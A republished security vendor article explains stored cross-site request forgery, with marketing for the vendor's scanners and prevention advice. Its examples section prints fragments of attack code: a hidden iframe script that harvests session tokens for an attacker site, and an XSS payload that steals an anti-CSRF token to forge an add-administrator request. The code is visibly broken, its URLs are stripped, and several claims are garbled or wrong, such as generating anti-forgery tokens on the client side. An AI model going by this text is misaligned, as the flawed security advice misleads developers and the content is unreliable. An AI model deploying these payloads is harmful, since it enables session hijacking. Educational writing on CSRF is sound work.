Cross-site request forgery (CSRF) is a security vulnerability that allows an attacker to submit unusual, malicious requests on behalf of an unsuspecting user. CSRF attacks, also known as one-click attacks, cross-site reference forgery, session riding, or hostile linking, take advantage of the trust between the server and client-side session, causing the victim to send requests that result in an unwanted action. Attackers often store the CSRF payload within the server in an attack known as a stored CSRF attack. This form of attack is often more complex and can be used to bypass advanced validation techniques to affect more than one regular user.

This article discusses the stored CSRF attack and explores some examples and prevention strategies to prevent the stored CSRF vulnerability.

What is a Stored Cross-Site Request Forgery Attack?

In a stored CSRF attack, a malicious user relies on the application to deliver cross-site requests to the client browser. In this exploit, hackers embed additional requests onto state-changing actions within hidden form fields of the web page. When the user clicks the submit button, the web server submits these requests on behalf of the user.

Unlike other cross-site request forgeries, this type of attack does not require three key conditions to embed the request within the input fields. This increases the likelihood and impact of the exploit since a normal user is more likely to visit the page containing malicious links. Since the server has already authenticated the victim, the application treats the CSRF payload as a legitimate request. In contrast, the attacker has an easy opportunity to grab vulnerable session tokens.

Stored CSRF Attack Examples

Cross-Site Request Forgery is a common cyberattack used for web exploits by abusing the same-origin policy. Attackers use several approaches to deliver stored CSRF payloads to the target application. Some of such approaches include:

Using HTML tags

Attackers can use the HTML <iframe> or <img> tags to hide malicious links that redirect the user’s valid request to an attacker-controlled website. Since the attacker has access to the server-side application, they can embed an invisible iFrame that uses a heartbeat function to harvest an unsuspecting user’s session using a timed GET insecure request. The code for this invisible iFrame would look similar to:

<!DOCTYPE html>
var IFRAME_ID = "0", GET_SRC =
<script src="../iframeGetter.js"></script>
<body onload="IFRAME_GETTER.onLoad()">

The above code is configured to call the body IFRAME_GETTER.onLoad() once the web page is done loading the iFrame’s Document Object Model (DOM). The script source is iframeGetter.js, with a code snippet similar to:

IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
var imgElement;
if(parent != undefined) {
if(!IFRAME_GETTER.haveGotten) {
imgElement = document.createElement("img");
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", "0");
imgElement.setAttribute("width", "0");
IFRAME_GETTER.haveGotten = true;
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);

This IFRAME_GETTER.onLoad() function ensures that the invisible frame reports to the main page every second. Once the user is logged on to the site, iframeGetter.js grabs the session token and sends it to the attacker-controlled site ( using a POST request.

Using an Advanced Cross-site Scripting Attack

When the target application is implemented with an effective anti-CSRF system but is vulnerable to cross-site scripting (XSS), a malicious user can exploit the XSS vulnerability to bypass the protection stack.

Consider a web page used to add a new administrator to the web application, whose code sample looks similar to:

<form method="get" action="add_admin.php">
Name: <input type="text" name="name" value="" /><br />
<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />
<input type="submit" name="submit" value="add admin" /><br />

Once an administrator is added and submit button is clicked, the web page makes a request similar to:<script src=”http.//”></script>

As the website matches the server-side session token with the one sent by the client to establish the session, attackers utilize malicious requests to obtain the token.

Assuming the target application has a page containing the following code:

print 'Hello,'. $_GET['name'];

An attacker can create a malicious script for the cross-site request body, which looks similar to:

document.writeln('<iframe src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');
function read()
var name = 'Admin-Name';
var token =
document.writeln('<form width="0" height="0" method="post"
document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Add_admin" /><br

The attacker uses XSS techniques to modify the request made by the web server, which redirects the victim to:

This eventually passes the anti-CSRF token to the attacker, allowing the attacker to take control of the user session.

Stored CSRF Attack – Severity Level

CSRF vulnerabilities fall under a broader category known as Broken Access Control Failures. Broken access control is ranked number#1 on the OWASP Top 10 vulnerabilities of 2021. Since stored CSRF attacks allow adversaries to perform unwanted actions, the attack’s impact depends on the type of information obtained and the privileges assigned to the unsuspecting user. Stored CSRF attacks are highly prevalent since they do not involve the modification of request parameters and can be used to exploit a large number of enterprise users at a single instance.

Consequences of a successful attack include:

1. Unintended money transfer or credit card fraud

2. Harvesting of user login credentials

3. Breakage of trust and loss of client relationships

4. Reduced revenue in the form of claims, fraudulent transfer of funds, loss of clients, and payment of fines

Identifying and Mitigating Stored CSRF Vulnerabilities with Crashtest Security

Crashtest Security offers a suite of application security tools and scanners that can detect and prevent stored CSRF attacks in a few simple steps. Some of such scanners and tools include:

Blackbox penetration testing

Crashtest Security provides comprehensive black box penetration testing to help security teams examine stored CSRF attack vectors within an entire web application stack. With its penetration testing tool, quality assurance teams can replicate a session hijacking exploit to help identify broken access control flaws even with limited knowledge of the application’s architecture, functional logic, or internal processes.

Automated vulnerability scanning

Crashtest Security Suite helps enforce an automated scanning process to proactively detect and identify any security flaws that can be used to abuse the implicit trust relationship between hosts and client machines. Some vulnerability scanners as part of the security suite include:

1. CSRF scanner – This scanner helps identify the CSRF security vulnerability in APIs and web applications. The scanner implements a black box testing technique to assess if the website’s anti-CSRF mechanisms have been implemented effectively.

2. HTTP header scanner – Many web applications often transmit user session tokens within custom request headers. The HTTP header scanner examines custom HTTP headers to prevent malicious users from crafting insecure requests that can expose a valid anti-forgery token.

3. Javascript security scanner – Attackers typically leverage individual action methods (GET, POST, etc.) together with malformed JavaScript for server-side session attacks. The JavaScript security scanner detects XSS, CSRF, and JavaScript injection flaws for enhanced server-side CSRF protection.

4. OWASP scanner – The OWASP scanner offers comprehensive threat protection by scanning all web apps, APIs, and microservices against the 2021 OWASP Top 10 application vulnerabilities. The scanner saves time and budget while ensuring common implementation techniques for anti-forgery validation work as planned.

Stored CSRF Attack – Prevention Strategies

Some effective methods to prevent stored CSRF attacks include:

Use of built-in XSRF protection

Although most frameworks include inbuilt defenses against CSRF, it is recommended that such configurations are enabled by default. Many programming languages also protect vulnerable resources by including anti-CSRF tokens by default, which should be implemented before developers attempt the custom generation of anti-forgery tokens.

Using the synchronizer token pattern

Generation of anti-forgery tokens should be performed on the client side. Application servers should verify that the value provided matches the request token saved within the browser requests. Using a synchronizer token pattern is also recommended to ensure the token generated is unique for each user session, hidden, and unpredictable.

Double-submit cookies

This approach represents a stateless, easy-to-implement anti-forgery validation mechanism that inserts a random value as a request parameter within an authentication cookie. With cookie-based session handling, when a user visits the website, the server generates a random value and sets it within the browser. This value should be separate from the session identifier. All subsequent requests should include this value as a hidden form value. The request is marked as legitimate if the hidden field matches session variables generated on the server side. If they don’t, the request is rejected.


What is the difference between stored CSRF and stored XSS attacks?

Although both attacks are persistent, they target different functionalities. Stored XSS is a type of server-side exploit that allows the hacker to store a malicious script in application servers, enabling the attacker to access information stored locally. On the other hand, the stored CSRF attack manipulates the web server to return a malicious script to the client browser of the unsuspecting user.

How should CSRF tokens be transmitted to prevent stored CSRF?

In applications that use cookies for authentication, anti-forgery tokens should not be transmitted using session cookies. Anti-CSRF tokens in cookies are most likely obtained by adversaries using unsafe HTTP methods. As a recommended practice, request tokens should be inserted using JavaScript in a custom request header since custom request headers embrace the same-origin policy. With a custom request header, the browser does not allow JavaScript to make cross-domain requests, enforcing anti-forgery features without changing the user interface.

What is the difference between login CSRF and stored CSRF?

While stored CSRF is an attack that relies on a persistent payload, login CSRF is a request forgery attack orchestrated by forging unsuspecting users to log in to an account they control. In stored CSRF, the victim submits their information to the vulnerable application, while in login CSRF, the victim submits their information to an attacker-controlled account.

This article has already been published on and has been authorized by Crashtest Security for a republish.

Featured Image Courtesy – Photo by AltumCode on Unsplash